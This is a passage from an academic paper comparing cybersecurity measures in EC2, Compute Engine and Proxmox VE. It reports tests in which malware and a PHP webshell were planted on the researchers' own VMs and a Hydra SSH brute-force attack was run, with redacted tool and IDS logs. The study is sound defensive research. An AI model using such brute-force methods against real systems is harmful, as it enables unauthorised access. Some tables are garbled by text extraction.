tual machines deployed within the CE infras-
tructure. Servers operating clustered can seam-
lessly take over each other’s workloads in the
event of a failure, ensuring uninterrupted system
operation [69].

o Snapshots [IA]: Snapshots represent instanta-
neous backups of virtual machine disks, facili-
tating the restoration of data on the disk or the
entire disk to a specific date. They hold particu-
lar significance for swiftly recovering data that
undergoes infrequent changes. For instance, in
the event of a virus attack compromising the file
integrity of a disk, it can be reverted to a date
before the infection [[70]].

o Backup and DR [IA]: It is a solution that
involves taking snapshot-based backups of the
disks defined within the virtual machine for
long-term storage [71].

« Security with Al [CIA] Google is endeavouring
to incorporate Gemini, an artificial intelligence
application it developed, into the cybersecurity
protocols of its (IaaS) framework. Initiatives in

this area have commenced. One of the primary
objectives in detecting malicious code is to pro-
vide customers with detailed information about
the nature of these threats through collaboration
with the virustotal.com infrastructure. Addition-
ally, it has been reported that artificial intelli-
gence has been integrated into the Chronicle
application, which possesses Security Informa-
tion and Event Management (SIEM) capabilities
within the Google Cloud infrastructure [72].

4.3. Cybersecurity Solutions Ultilized in Prox-
mox VE Infrastructure

Proxmox VE is an open-source server virtual-
isation management solution based on the KVM
hypervisor. It is primarily utilised to set up private
IaaS cloud computing infrastructures. The laaS in-
frastructure of Proxmox VE can be managed via
its web interface or through the command line
[73]], [[74]. Additionally, with the necessary con-
figurations, it can be employed as a multi-tenant
solution within public IaaS infrastructures. Proxmox
Server Solutions GmbH develops Proxmox VE. In
the Proxmox VE infrastructure, features typically
paid for in other private IaaS applications are free.
These features include clustering, High Availability
(HA), and storage virtualisation (CEPH). Further-
more, a paid solution is available for Proxmox VE,
which provides support and access to enterprise
repositories. Proxmox VE infrastructure allows for
the management of general security measures for
all virtual machines from a single web interface
or through the command line. The sections related
to cybersecurity within the web interface are user-
friendly. The applications and features incorporating
cybersecurity measures within the Proxmox VE
infrastructure are presented below:

o Virtual Local Area Network (VLAN) [CIA]:
VLAN technology facilitates the virtual seg-
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mentation of a local network, allowing for the
creation of distinct network segments within
the same physical network infrastructure. This
capability extends to VLANSs, enabling their
integration into the Proxmox VE infrastructure
[31].

o Iptables [CIA]: IPtables, developed for the
Linux operating system, serves as a powerful
firewall utility, enabling the enforcement of
access control policies to prevent unauthorised
access to virtual machines [75]], [[76].

o Log Management [CIA]: In the Proxmox VE
infrastructure, while basic system logs can be
monitored through the web interface, more de-
tailed records about security, system operations,
authorisations, access, and others are accessible
via the Proxmox VE command line interface.
These records can be further directed to an
external SIEM solution for in-depth analysis
[31].

« Virtual Network (VNET) [CI]: It allows Prox-
mox VE resources to be initialised in a virtual
network completed by the end user. This virtual
network gives users control over the networking
environment for their Proxmox VE virtual ma-
chines, allowing for segmentation, isolation, and
custom configuration according to their specific
requirements. It corresponds to the VPC feature
found in both EC2 and CE infrastructures. Its
significance is particularly highlighted when
implementing multi-tenant infrastructures with
Proxmox VE [31]].

« CEPH [IA]: The storage disks storing data
can be virtualised using the CEPH technology
developed on the Linux operating system. This
approach ensures data integrity against disk
corruption [31].

o Clustering (HA) [A]: Clustering technology en-
ables the redundant operation of servers within
the cloud computing infrastructure. This tech-

nology can establish a cluster infrastructure
from virtual machines deployed within the CE
infrastructure. Servers operating in a clustered
manner can seamlessly take over each other’s
workloads in the event of a failure, ensuring
uninterrupted system operation [31].

« Snapshots [IA]: Snapshots represent instanta-
neous backups of virtual machine disks, facili-
tating the restoration of data on the disk or the
entire disk to a specific date. They hold particu-
lar significance for swiftly recovering data that
undergoes infrequent changes. For instance, in
the event of a virus attack compromising the file
integrity of a disk, it can be reverted to a date
before the infection [73]].

« Backup Solutions [IA]: Proxmox VE features
an internal backup solution allowing sched-
uled backups of virtual machines within its
infrastructure. This capability enables restora-
tion from backups in the event of a cyber
attack. Additionally, Proxmox VE can integrate
with the Proxmox Backup Server infrastructure,
offering more advanced features compared to
the internal backup software [31].

4.4. Experimental Research

To test hypothesis (H1), ”The findings obtained
as a result of RQ1 are confirmed in EC2, CE and
Proxmox VE laaS infrastructures”, an experimental
research method using quantitative analysis tech-
niques was used.

4.4.1 Cybersecurity Measures During the De-
ploying of Virtual Machines

EC2, CE and Proxmox VE laaS management
interfaces, access and operation are restricted to
authorised personnel through defined organisational
IAM policies. No remote access username and
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password were required when deploying virtual ma-
chines VM1-EC2-OS and VM2-CE-OS. Proxmox
VE infrastructure required a username and password
for remote access. Usernames are associated with
the email addresses of authorised users in CE, while
in EC2, they are set as “ubuntu”. Remote access to
the virtual machines via SSH is provided by default
with a certificate in both EC2 and CE infrastruc-
tures, thanks to the KMS feature. Additionally, in
CE infrastructure, access to VM2 via SSH and serial
console can be done via a browser with Single Sign-
On (SSO) authentication. In EC2, SSH and Serial
Console access to virtual machines with a browser
can be enabled in only nitro-supported virtual ma-
chines. In Proxmox VE infrastructure, remote access
to VMS5-PVE-OS via SSH can be done by SSH tools
like Termius or Putty. Additionally, in Proxmox VE,
access to virtual machines with serial consoles can
be done by browser.

Both EC2 and CE offer similar cybersecurity
features during the deployment of virtual machines,
including options for external network access via
SSH, HTTP, and HTTPS. Virtual machines in Prox-
mox VE infrastructure can be accessed through all
ports. There are no restrictions on the Proxmox VE
[Ptables application by default. Confidential VM
Service, based on data security and encryption, can
be easily configured in CE. In EC2, this feature
requires deploying nitro-supported virtual machines,
which may not be available for every instance type.
Moreover, nitro support mandates a minimum of 4
vCPUs. In Proxmox VE, data is encrypted when
the discs of virtual machines are deployed in ZFS
storage.

The interface for deploying virtual machines in
CE is more straightforward than in EC2. However,
the latter offers a more straightforward structure
for selecting the operating system installed on the
virtual machine. Operating system installation on

virtual machines added in Proxmox VE includes the
operating system installation processes on a physical
machine. While the pricing for deploying a virtual
machine in CE is clearly stated, there is no clear
pricing information for EC2. EC2 offers a “Free
Tier” feature, allowing specific resources to be used
free of charge for up to one year under particular
conditions. All features in Proxmox VE infrastruc-
ture can be used free of charge. In addition, system
updates can also be obtained free of charge in
Proxmox VE. However, free system updates are
not covered by enterprise updates. For this reason,
care should be taken. Especially Proxmox VE main
version updates should not be done immediately.
For example, Proxmox VE should not be switched
from version 7 to version 8§ immediately. An 8.1 ver-
sion should be expected. Problems arising in main
version upgrades can be solved using intermediate
version updates.

The security measures examined while deploying
the VMI1-EC2-0OS, VM2-CE-OS, and VM5-PVE-
OS virtual machines are summarised below in Table

Bl

4.4.2 Evaluation of Cybersecurity Measures
after Virtual Machines are Deployed

In the EC2 Console, remote access to virtual
machines can be restricted on a port basis using the
Security Groups feature, similar to a Layer-3 level
firewall. CE offers a firewall application that is more
detailed than Security Groups, providing almost all
rule features of a Layer-3 firewall. The Firewall
application in CE allows for simple configuration
of permissions related to HTTP, HTTPS, and SSH
ports. Proxmox VE infrastructure can be accessed
from all ports after installing virtual machines. To
limit this access to ports such as SSH and HTTPS,
settings must be made in the firewall. By default,
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Table 3.
Cybersecurity measures during deploying of virtual machines.

Features

EC2

CE

PVE

VM Deploying Interface

Web Based with SSL Security

Web Based with SSL Security

Web Based with SSL Security

IAM

Policy Based

Policy Based

Policy Based

Disk Encryption

KMS

KMS

ZFS Storage

Memory Encryption

Nitro Supported Hosts

Confidental VM Service

Remote Connection Security

SSH, Web Based Console, KMS

SSH, Web Based Console, KMS

SSH, Web Based Console

access to all virtual machines is not restricted. The
firewall in Proxmox VE can be configured at both
cluster and virtual machine levels. The rules added
to the firewall configured at the cluster level are
valid for all virtual machines.

In EC2 and CE, all network-related features, such
as Security groups, firewalls, ACL features, and
subnets, are gathered under VPC. VNET provides
management of network features in Proxmox VE.
It is also essential for configuring multi-tenant envi-
ronments. It has been observed that VNET contains
slightly different clustering than EC2 and CE. For
example, the firewall is not included in the VNET
configuration.

The ”OS Info” tab in the CE Cloud Console dis-
plays system updates and potential vulnerabilities,
aiding end-user awareness [77)]. For vulnerability
detection in EC2, the Amazon Inspector feature
should be utilised. However, vulnerability scanning
for VM1 was performed through Inspector. A sam-
ple system update vulnerability detected in EC2
Inspector and CE IDS logs is presented in Table
and Table [5

The Guard Duty application was employed to
identify cyber-attacks on VMI1-EC2-OS and VM3-
EC2-APP machines within the EC2 infrastructure.
Guard Duty is the IDS in the EC2 environment,
offering detailed analysis capabilities. For instance,
VM3 was remotely accessed using the “Termius”
SSH application. Following the access, the sudo

Table 4.
A sample system update vulnerability for EC2
inspector.

CVE-2015-8553
MEDIUM
April 13, 2024 7:49 AM

Vulnerability ID
Severity

Launched at

Table 5.
A sample system update vulnerability for CE
IDS.

Vulnerability ID
Severity
Report Generated

CVE-2024-2961
MEDIUM
April 15, 2024 12:42:49 AM

su” command was utilised to obtain “root” privi-
leges on VM1. The Guard Duty application logged
this system access with “root” privileges.

The Guard Duty application on EC2 also identi-
fied PHP malware on VM3-EC2-APP. The log about
this file, generated by Guard Duty, is presented in
Table [0l

Upon examining the log details, crucial infor-
mation such as HASH information, file path, and
file name is provided, indicating that the malware
poses a significant security risk. The Volume ARN
information specifies the virtual machine’s location,
suggesting it resides in the Eu-Central-1 Frankfurt
region with the vol-volume-id disk. This informa-
tion can identify and remove the file from the
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Table 6.
A sample malware detection log from Guard
Duty.

Name CVE-2015-8553

Severiy HIGH

Hash 01539901169493c¢9ba25a013b40d9cftOfe
667ebb2f5ab4261ac8ff04abe9ab3

. /var/www/html/XXXXXX/

File Path
wp-content/uploads/2022/02/uaavsdgm.php

File Name uaavsdgm.php

Volume ARN arn:a.ws:eCZ:eu—central—lz .
user-id:volume/vol-volume-id

system.

In Cloud IDS, connections to the system with
“root” privileges in VM2 and the PHP malware
in VM4-CE-APP were undetected. Upon reviewing
the logs in Cloud IDS, attacks other than brute
force attacks and those initiated by the researcher
from outside the system are generally identified. The
ability of Guard Duty in EC2 to detect PHP malware
is a notable advantage.

Since Proxmox VE does not have an IPS appli-
cation developed by Proxmox VE, the effects of
viruses in virtual machines could not be observed.

The cybersecurity measures that can be taken after
the virtual machines are installed are summarised in
Table

4.4.3 Examination of Malware Installed Ma-
chines via EC2 and CE IDS systems

The malware installed on VMI1-EC2-OS, VM2-
CE-OS and VM5-PVE-OS is detailed in Table 2l
According to the findings, the Virustotal online
virus scanning application scanned the malware,
revealing that 65 out of 70 virus scanning applica-
tions successfully detected the infected file capable
of affecting Windows systems. Similarly, the file

designed to target Linux platforms was identified
by 39 out of 63 virus-scanning applications. Both
files (the first and second files detailed in Table [2))
were successfully uploaded to VM1, VM2 and VM5
within EC2, CE and Proxmox VE infrastructures
using the SFTP feature. This suggests that the data
uploaded to the IaaS infrastructure undergoes no se-
curity scanning either in EC2 or CE. Consequently,
virtual machines’ users are primarily responsible for
implementing cybersecurity measures within these
infrastructures. Moreover, the uploaded files were
observed to have no adverse effects on VM3-EC2-
APP, VM4-CE-APP and VM6-PVE-APP and did
not impact other virtual machines belonging to dif-
ferent customers within the EC2 and CE infrastruc-
tures. This states the isolation of virtual machines
within the IaaS infrastructure, a fundamental feature
the hypervisor ensures. The fundamental cybersecu-
rity measures of laaS Infrastructures are summarised
in Table

The presence of malicious code, facilitated by
the Webshell feature inherent to the PHP program-
ming language, was detected in VM3-EC2-APP,
VM4-CE-APP and VM6-PVE-APP with only four
virus scanning applications on Virustotal success-
fully identifying these threats. This highlights the
importance of exercising caution for developers of
web-based applications. It was observed that con-
ventional firewall measures were insufficient in ad-
dressing the security risks posed by such malicious
code. Notably, the Guard Duty IDS system in the
EC2 infrastructure successfully detected this mal-
ware affecting the VM3-EC2-APP virtual machine,
while no detection was observed in the CE IDS
infrastructure. Since Proxmox VE does not have
an IPS application developed by Proxmox VE, the
effects of viruses in virtual machines could not be
observed.
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Table 7.

Cybersecurity measures after virtual machines are deployed.

Features

EC2

CE

PVE

Port Security

Security Groups Feature

Cloud Firewall Application

IP Tables Firewall Application

IDS

Guard Duty Application

Cloud IDS Application

Firewall

AWS Firewall Manager
Waf and Shield Application

Cloud Firewall Application
Cloud Armor Application

IP Tables Firewall Application

VPC and ACL Features

Network Security

VPC and ACL Features

VNET Feature

Table 8.
laaS infrastructures’ fundamental cybersecurity measures.

4.4.4 Backup Operations of Virtual Machines

machines, snapshots

Features EC2 | CE | PVE
Malicious code or malware detection in No No | No
file upload to virtual machine remotely by default
Isolation at hypervisor-level Yes Yes | Yes
Malicious code or malware detection in Yes Yes | Yes
file upload to virtual machine remotely by third-party apps
Table 9.
Comparison of backup features of laaS
infrastructures.
Before installing malicious software on VMI-
EC2-0OS, VM2-CE-OS and VMS5-PVE-OS virtual Features EC2 | CE | PVE
of the virtual machines SB“aiShOt zes zes zes
o .. . ackup es es es
were diligently taken. Additionally, the automatic External Backup | No | No | Yes

backup feature of the virtual machines was
configured to operate at specified time intervals. As
intended, backups were successfully executed at
the designated times. Subsequently, the malicious
software was installed on VM1-EC2-0OS, VM2-CE-
OS and VMS5-PVE-OS. Upon reverting the virtual
machines to the state captured by the snapshots, it
was observed that the malware had been effectively
eradicated. The virtual machines were then re-
synchronised and restored using the previously
taken backups. Upon examination of the restored
machines, it was confirmed that the malware had
been completely removed. These outcomes affirm
the successful operation of the snapshot and backup
infrastructure within EC2, CE and Proxmox VE
environments.

In EC2 and CE infrastructures, the automatic
scheduling of snapshot and backup features incur
charges based on the occupied storage size of
each snapshot or backup taken. Consequently, it
is imperative to establish guidelines regarding the
intervals at which backups should be retained.
Prolonged storage of snapshots and backups may
result in additional expenses for businesses. To
mitigate such costs, businesses must devise a backup
policy and configure backup features in alignment
with this policy. The comparison of backup features
of TaaS Infrastructures is summarised in Table [O
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4.4.5 Examination of cybersecurity measures
in EC2, CE and Proxmox VE infrastructure ac-
cording to the Brute-Force Attack on Virtual
Machines

In evaluating IDS and IPS measures within the
EC2 and CE infrastructures, a brute force attack
was executed using the Hydra tool [78] on vir-
tual machines. The specifics of the attack and the
subsequent responses within the cybersecurity mea-
sures of EC2 and CE infrastructures are presented
in Table A brute force attack was conducted
on the VM5 virtual machine within the Proxmox
VE infrastructure, which lacks IDS. In contrast to
VMI1-EC2-0OS and VM3-CE-OS, the VM5-PVE-OS
virtual machine does not utilise certificate-based au-
thentication. Consequently, access to VM5-PVE-OS
relies on traditional username and password entry.
The analysis of the logs from Table[10]indicated that
the traditional username and password method was
not supported in the attacks targeting VMI1-EC2-
OS and VM2-CE-OS. However, during the attack
on VMS5-PVE-OS, it was observed that logging in
using the traditional username and password method
was possible. This accessibility enables attackers to
utilise such tools more effectively, exploiting the
lack of robust authentication mechanisms.

EC2 and CE IPS systems were able to detect the
brute force attacks. Accordingly, the logs produced
by EC2 and CE IDS systems are presented in Tables
and

The attempted attack using ssh-keys (VM1 and
VM?2) and traditional user name and password
(VMS) via the Hydra tool was unsuccessful. Ad-
ditionally, the logs detected attempts to breach the
system using SSH keys by Guard Duty and Google
IDS. Enabling access to cloud servers through cer-
tificates can minimise the impact of brute-force
attacks. In addition, it is noteworthy that Guard Duty

IDS shows the severity of the brute force attack as
low, while CE IDS shows it as high.

Upon reviewing the logs from Guard Duty and CE
IDS, it was observed that 103 attacks targeted VM2
and VM4 within two days in the CE system. These
attacks comprised 3 critical, 51 high, 30 medium,
and 19 low-level threats. Guard Duty identified
one attack and detected 59 malicious files. The
detections of these 59 malicious files were rated as
critically important. Google IDS application did not
detect these malicious files.

Based on these results, hypothesis (H1) is ac-
cepted. RQ1 findings confirm hypothesis (H1), sug-
gesting consistency and reliability in the observed
outcomes of the cybersecurity measures across the
studied infrastructures.

o RQ2. What are the similarities and differences
in cybersecurity measures among EC2, CE, and
Proxmox VE IaaS infrastructures?

Within the scope of this research question, the
cybersecurity measures of EC2, CE, and Proxmox
VE will be compared in terms of similarities and
differences.

4.5. Comparison of cybersecurity measures of
EC2, CE, and Proxmox VE Infrastructures

The comparison of cybersecurity measures across
all three IaaS infrastructures is analysed in two
segments, based on the results obtained from both
document analysis RQ1 and the alternative hypoth-
esis (H1) testing. This dual approach thoroughly
evaluates the protective strategies employed within
each infrastructure, highlighting their similarities
versus differences in the context of cyber defence.
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Table 10.
Hydra tool log for brute force attacks to VM1 and VM2.

Attack Type Brute Force

Tool Utilized

Hydra tool operated on the Kali Linux platform

Objective

To conduct a brute force attack on VM1-EC2-0S, VM2-CE-OS, VM5-PVE-OS

VMI1-EC2-0OS Results
(Logs from Hydra)

INFO: Testing if password authentication is supported by ssh://user_name@VM1_IP_Address
ERROR: target ssh://VM’_IP_Address:22 does not support password authentication

VM2-CE-OS Results
(Logs from Hydra)

INFO: Testing if password authentication
is supported by ssh://user_name@VM1_IP_Address
ERROR: target ssh://VM’_IP_Address:22 does not support password authentication

VMS5-PVE-OS Results
(Logs from Hydra)

INFO: Testing if password authentication
is supported by ssh://user_name@VM3_IP_Address
INFO: Successful, password authentication is supported by ssh://VMS5_IP_Address:22

Note: The researcher concealed IP address information. For this reason, the text ”IP address” is written instead of the 32-bit IP address

information.

4.5.1 The comparison of cybersecurity mea-
sures within the EC2, CE, and Proxmox VE
infrastructures is conducted according to the
findings from the RQ1

The cybersecurity measures available in the EC2
and CE public IaaS infrastructures operate on a pay-
as-you-go basis, allowing users to leverage a multi-
tenant environment. Furthermore, these cybersecu-
rity measures are readily available for immediate
use. Basic cybersecurity features such as [PTables,
VLAN, VNET, snapshots, and backup solutions are
also pre-configured within the Proxmox VE private
laaS infrastructure. However, advanced cybersecu-
rity measures like IDS, IPS, and WAF may require
end-user configuration by installing paid or free
third-party software. For instance, users can install
the Berkeley Software Distribution (BSD) operating
system-based Pfsense firewall on the Proxmox VE
infrastructure free of charge, including an IDS and
IPS solution through the SNORT application, also
available at no cost. Nevertheless, proficient end-
users should install and configure these applications
and solutions.

In terms of terminology, EC2 infrastructure em-

ploys generally understandable terms, while CE
utilises more technical terminology. For instance,
security group rules in EC2 infrastructure refer to
”inbound” and “outbound,”’ [51] whereas CE uses
“ingress” and “egress” instead [65)]. The terminol-
ogy in CE, such as “ingress” and “egress,” closely
resembles the syntax used in the rule structure of
the BSD-based Packet Filter (Pf) firewall. Similarly,
Ethernet card names for virtual machines differ
between CE and EC2, with CE employing “Nic0,”
“Nicl,” etc., while EC2 opts for “interface id.”
Proxmox VE infrastructure also employs technical
terms, mainly concerning firewall-related settings,
which include options for the IPtables application
[75].

Applications provided by EC2, CE, and Proxmox
VE for cybersecurity measures, as well as all other
applications, are presented in a menu with a tree
structure, facilitating user accessibility and aware-
ness during laaS infrastructure management. Ad-
ditionally, all three infrastructures feature a search
function that enables users to locate applications
quickly.

In the CE infrastructure, the “Confidential VM
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Table 11.
Guard Duty IDS log information for brute force attack.

Instance ID id_number
Resource ID rid_number

”source_ip”~ is performing SSH brute force attacks against rid number.
Threat Description | Brute force attacks are used to gain unauthorised access to your instance
by guessing the SSH password.

Threat Type vulnerability
Severity Low

Repeat Count 2
Application ssh

Source .

IP Address souree-tp
Source 33040

Port

Destination destination_ip
IP Address B
Destination

Port 22

Note: The researcher concealed IP address information. For this reason, the text “source ip” and “destination ip”
is written instead of the 32-bit IP address information.

Table 12.
CE IDS log information for brute force attack.

SSH User Authentication
Brute Force Attempt
Threat ID id_number

Threat name

. This event indicates a brute force attack through
Threat Description . .
multiple login attempts to an SSH server.

Threat Type vulnerability
Severity High
Repeat Count 2
Application ssh

Source .

IP Address sonreep
ig;‘:ee 34634
Destination destination_ip
IP Address -
Destination

Port 22

Note: The researcher concealed IP address information. For this reason, the text “source ip” and “destination ip”
is written instead of the 32-bit IP address information.
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Service” [23]] encrypts data stored in the memory
(RAM) of virtual machines to prevent unauthorised
access, a feature also available in EC2 for virtual
machines supporting the Nitro feature [22]. In Prox-
mox VE, data encryption can be configured at the
disk level, mainly when using the Zettabyte File
System (ZFS) format [79].

Cybersecurity measures in EC2 and CE infrastruc-
tures operate on a pay-as-you-go model, allowing
users to activate or deactivate them as needed and
charge based on usage. This point was stated in
the study by Dinachali et al [80]. In contrast,
cybersecurity measures in Proxmox VE infrastruc-
ture are integrated without additional charges and
can be activated at the user’s discretion. However,
the number of integrated cybersecurity measures in
Proxmox VE infrastructure is comparatively lower,
though this gap can be addressed by incorporating
third-party applications as desired.

Lastly, snapshots and backup solutions are avail-
able across all three infrastructures, namely EC2,
CE, and Proxmox VE.

Proxmox VE infrastructure integrates basic-level
solutions such as Firewall, Snapshots, backup, clus-
tering, VNET, and VLAN. However, external soft-
ware should be utilised within the Proxmox VE
infrastructure for more comprehensive solutions like
IDS and IPS. This is a natural circumstance. Unlike
EC2 and CE, which operate on a pay-as-you-go
structure, where desired cybersecurity features can
be activated for a fee, there is no scope in Proxmox
VE. Therefore, the development and configuration
of cybersecurity measures in the Proxmox VE in-
frastructure should be carried out by expert person-
nel using the platform [31], [73].

The general evaluation of the findings obtained
within the scope of RQ1 is presented below.

o Similarities:

— Data Integrity: All three platforms offer

snapshots and backups to ensure data in-
tegrity.

— Resource Availability: All three platforms

offer solutions such as clustering and VPC
(in Proxmox VNET) to maintain resource
availability, ensuring continuous operations.

— Data Confidentiality: All three platforms of-

fer solutions to ensure data confidentiality,
such as firewall, IAM, KMS, and isolation.

« Differences:
— Intrusion Detection and Prevention Sys-

tems: Proxmox VE requires external soft-
ware for advanced intrusion detection and
prevention measures [31], while EC2 and
CE offer integrated solutions [52]], [63].
System Monitoring: The ease of system
monitoring may vary among the platforms,
with each offering different levels of func-
tionality and user interfaces for monitoring
cybersecurity measures [31].

Costs: EC2 and CE generally operate on a
pay-as-you-go pricing model, where users
are charged based on their usage of re-
sources [[80]. On the other hand, Proxmox
VE is often deployed using traditional li-
censing or subscription models, with costs
associated with hardware, maintenance, and
support. All features can still be free if
support is not obtained for Proxmox VE,
except for enterprise updates.

Security with Al: Artificial intelligence-
supported applications are utilised within
the EC2 and CE infrastructures as part of
cybersecurity measures. Detailed informa-
tion about the Al applications deployed in
the EC2 infrastructure is readily accessi-
ble, as documented applications like IAM,
Guard Duty, and VPC clearly outline the
use of artificial intelligence. In contrast, no
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document that clearly expresses the integra-
tion of artificial intelligence with CE infras-
tructure within the scope of CE infrastruc-
ture applications (except Chronicle SIEM)
has been encountered. There is a notable
lack of detailed information regarding the
specific Al applications employed [50].

— Marketplaces: In EC2 and CE infrastruc-
tures, many software developed by third
parties can be used in these infrastructures.
The places where these software are col-
lected are called marketplaces. For example,
an antivirus application for virtual machines
that can run on the hypervisor is available
in the marketplace in both EC2 and CE.
However, Proxmox VE infrastructure does
not have such a feature.

— Hardware Layer and Hypervisor Cybersecu-
rity Measures: In public [aaS infrastructures
such as EC2 and CE, customers are not
responsible for the hardware layer’s and
hypervisor’s cybersecurity. Because the cus-
tomer does not interact with the hardware
layer and hypervisor in any way. A similar
result was also emphasised in the study
conducted by Tomchik [6]. In private TaaS
infrastructures such as Proxmox VE, the
user is responsible for the security of the
hardware layer and the hypervisor.

The comparative analysis of cybersecurity mea-
sures across EC2, CE, and Proxmox VE infrastruc-
ture, based on application and feature, is presented
in Table

5. Conclusions and Evaluations

The efficiency and transparency of digital trans-
formation across all operations of businesses, in-
cluding manufacturing, supply chain management,
marketing, predictive maintenance, accounting, and

finance, require the acquisition, storage, analysis,
and sharing of data and information from both
physical and virtual environments. This process,
which constitutes the data-information cycle, is
successfully implemented by integrating advanced
technologies such as artificial intelligence, digital
twins, augmented and virtual reality, and additive
manufacturing. In this context, information tech-
nology resources such as processing power, data
storage space, and memory are needed to ensure
the data-information cycle for all operations and
technologies. Cloud computing technologies facil-
itate the efficient use of the resources provided
within the scope of information technologies and
their sharing with the systems in need [81], [82].
Consequently, ensuring the cybersecurity of cloud
computing infrastructure is critical for maintaining
the continuity of business operations and protecting
the confidentiality and integrity of business data and
information [[1], [83]]. This paper analyses cyberse-
curity measures in the [aaS cloud computing service
model, focusing on EC2, CE as public IaaS services,
and Proxmox VE as a private IaaS service. The
cybersecurity strategies of these infrastructures are
analysed in terms of the fundamental principles of
data and information resource security: availability,
confidentiality, and integrity. This categorisation is
based on document analysis supported by an em-
pirical research method to enhance the findings and
increase the study’s validity.

The study findings indicate that all three in-
frastructures adhere to basic cybersecurity prac-
tices related to IaaS frameworks, such as isolation,
segmentation, and micro-segmentation, preventing
the spread of malware between virtual machines
within the same infrastructure. The existing lit-
erature supports this result and further confirms
hypothesis (H1) within the scope of the study [16],
[18], [19]. Furthermore, EC2, CE, and Proxmox
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Ta

ble 13.

Similarities and differences of EC2, CE and Proxmox VE infrastructures in terms of

implementat

ion and features.

Smilarities and

Differences EC2 CE PVE
Data Integrity
Snapshots Yes Yes Yes
Backup Solutions Yes Yes Yes
External . No No Ye§
Backup Solutions -with Proxmox Backup Server
Resource Availability
Yes
- Built-in
Yes Yes live migration VM option

Clustering

-Cross-country

-Cross-country

- Built-in
CEPH storage virtualisation
and clustering feature

Network Redundancy

Yes
-Built-in with VPC feature
-Cross-country

Yes
-Built-in with VPC feature
-Cross-country

Yes
-Built-in with VNET feature
-Cross-country

Remote
Connection Security

Yes

- Web-based console access with
SSL security

- SSH access with a certificate
through KMS feature

Yes

- Web-based console access
with SSL security

- SSH access with a certificate
through cloud KMS feature

Yes

- Web-based console access
with SSL security

- SSH access with

username and password default.

Data Confidentiality
Traditional Firewall Yes Yes Yes
(Up to Layer 3) -Security Groups -Cloud Firewall -IPTables
Advanced Firewall Yes Yes No .
) . - Third-party
(Up to Layer 7) -Waf and Shield -Cloud Firewall .. .
application required
No
IDS Support Yes -Guard Duty Application Yes -Cloud Armor Application - Third-party
application required
Yes
Disk Encryption Yes - with KMS feature Yes - with cloud KMS feature - with ZFS data storage
option
Yes Yes No
Memory Encryption - with Nitro feature-supported - with Confidential VM Service - Third-party

hardwares

option

application required

Identity
Access Management

Yes

Yes

Yes

Network Security

Yes - with VPC and ACL

Yes -with VPC and ACL

Yes - with VNET and VLAN

Other Cybersecurity Features

Third-Party Application
Support

Yes - with marketplace

Yes - with marketplace

Yes
- with manual installation

Log Management

Yes - Advanced log management
with Security Hub application

Yes - Advanced log management
with Log Explorer and
Log Management applications

Yes - Built-in
basic log management tools

Al Supported
Cybersecurity

Yes - especially in IDS solutions

Yes - especially in IDS solutions

No - Third-party
application required
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VE IaaS infrastructures support basic security func-
tionalities such as authentication, resource access
authorisation, basic firewall configurations, syslog
analysis, backup, snapshot, and clustering solutions.
The functionality of these results was tested in the
experimental research study conducted within the
scope of hypothesis (H1). Significant differences
were observed between EC2 and CE laaS models
compared to Proxmox VE infrastructure, especially
regarding the availability of advanced cybersecurity
solutions. EC2 and CE offer advanced intrusion
detection and prevention systems, web application
firewalls, and immediate deployment of third-party
cybersecurity solutions through their marketplaces.
These features enable easy activation of cybersecu-
rity measures. In contrast, integrating similar func-
tionality in the Proxmox VE infrastructure into the
private laaS fabric requires third-party applications
and expert configuration.

An important experimental finding from the Hl
hypothesis test is that the EC2 Guard Duty IDS
implementation can detect malicious code in PHP
extension files in virtual machines, while the Cloud
IDS used on the CE platform cannot. The success of
the Guard Duty IDS implementation offered by EC2
is attributed to the integration of machine learning
techniques that enhance its detection capabilities.
The detailed path information in IDS logs demon-
strates the importance of Al-enhanced cybersecurity
measures in identifying and localising threats in a
system. Literature supports the effectiveness of Al
in detecting malicious code, especially in web-based
applications [28]], [42], [84]].

Classical signature-based virus programs have
been shown to fail to detect malicious code in text
files. The files contained in web-based applications
are usually text-based files written in a software
language such as PHP. In this context, generative
Al-supported antivirus applications are believed to

detect malicious code in web-based application files
effectively. For example, as a result of the analysis
of the Totalvirus.com platform of the text file written
in PHP software language, which was found to
contain malicious code within the scope of the
study, it was seen that only four antivirus programs
detected the malicious code embedded in the codes
in the text file. This result is also supported by
the literature [|85]]. Advancements in artificial intelli-
gence technologies, particularly artificial neural net-
works (ANN) and deep learning (DL) techniques,
offer significant benefits for cybersecurity mea-
sures within cloud computing infrastructures. These
methods accurately detect complex and constantly
evolving threats, providing more effective solutions
than traditional approaches. ANN and DL tech-
niques are particularly valuable in critical areas such
as intrusion detection, malware detection, anomaly
analysis, and access control, as they perform dy-
namic data analyses that contribute to developing
proactive defence mechanisms against cyberattacks.
Moreover, these techniques produce effective re-
sults in processes like log analysis, which involves
managing large datasets. Consequently, the security
and performance of cloud computing infrastructures
are enhanced, ensuring stronger protection against
potential threats. This conclusion is supported by
the study of Hasimi et al. [40].

Finally, choosing between public and private [aaS
infrastructures depends on an organisation’s finan-
cial capabilities and specific digital transformation
requirements. While private IaaS solutions such
as Proxmox VE involve higher initial investments
and setup costs, they can offer long-term cost-
effectiveness for organisations with significant re-
source demands. In contrast, public IaaS models
benefit organisations prepared to invest in these ben-
efits by providing easier management and system
integration despite potentially higher operational
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COsts.

The study has four limitations: It does not assess
the cybersecurity of systems managed by end-users
in TaaS infrastructures, the cybersecurity awareness
of end-users, the cybersecurity measures developed
by third parties in EC2, CE, and Proxmox VE
infrastructures, and the cybersecurity measures im-
plemented in operating systems on virtual machines
running in the laaS infrastructure. The study primar-
ily focuses on analysing the cybersecurity measures
of the selected examples.

Future studies can improve the decision-making
processes of businesses regarding cloud computing
infrastructures by conducting more comprehensive
analyses of private laaS infrastructures and increas-
ing the sample size. A detailed examination of the
cybersecurity measures associated with the software
that facilitates private IaaS infrastructures may be
particularly useful for businesses considering this
option. Furthermore, investigating the integration of
public and private IaaS infrastructures and the as-
sociated cybersecurity measures can provide critical
insights to formulate cohesive cloud strategies that
optimise security and operational efficiency. Studies
focusing on Al-related cybersecurity measures can
also provide significant benefits, as Al can enhance
cybersecurity protocols, detect vulnerabilities more
efficiently, and respond dynamically to incidents.
Given the rapid pace of Al integration into various
business processes and its potential impact on cyber
defence mechanisms, such research would be timely
and relevant. Moreover, detailed cost analyses of
public and private laaS infrastructures, considering
factors such as initial setup costs, cybersecurity
measures, and support expenses, can significantly
influence corporate decisions in the digital transfor-
mation process.

In conclusion, no research simultaneously com-
pares or empirically validates cybersecurity mea-

sures in public and private [aaS infrastructures. This
study aims to address this gap in the literature
and make potentially significant contributions by
providing a comparative analysis of cybersecurity
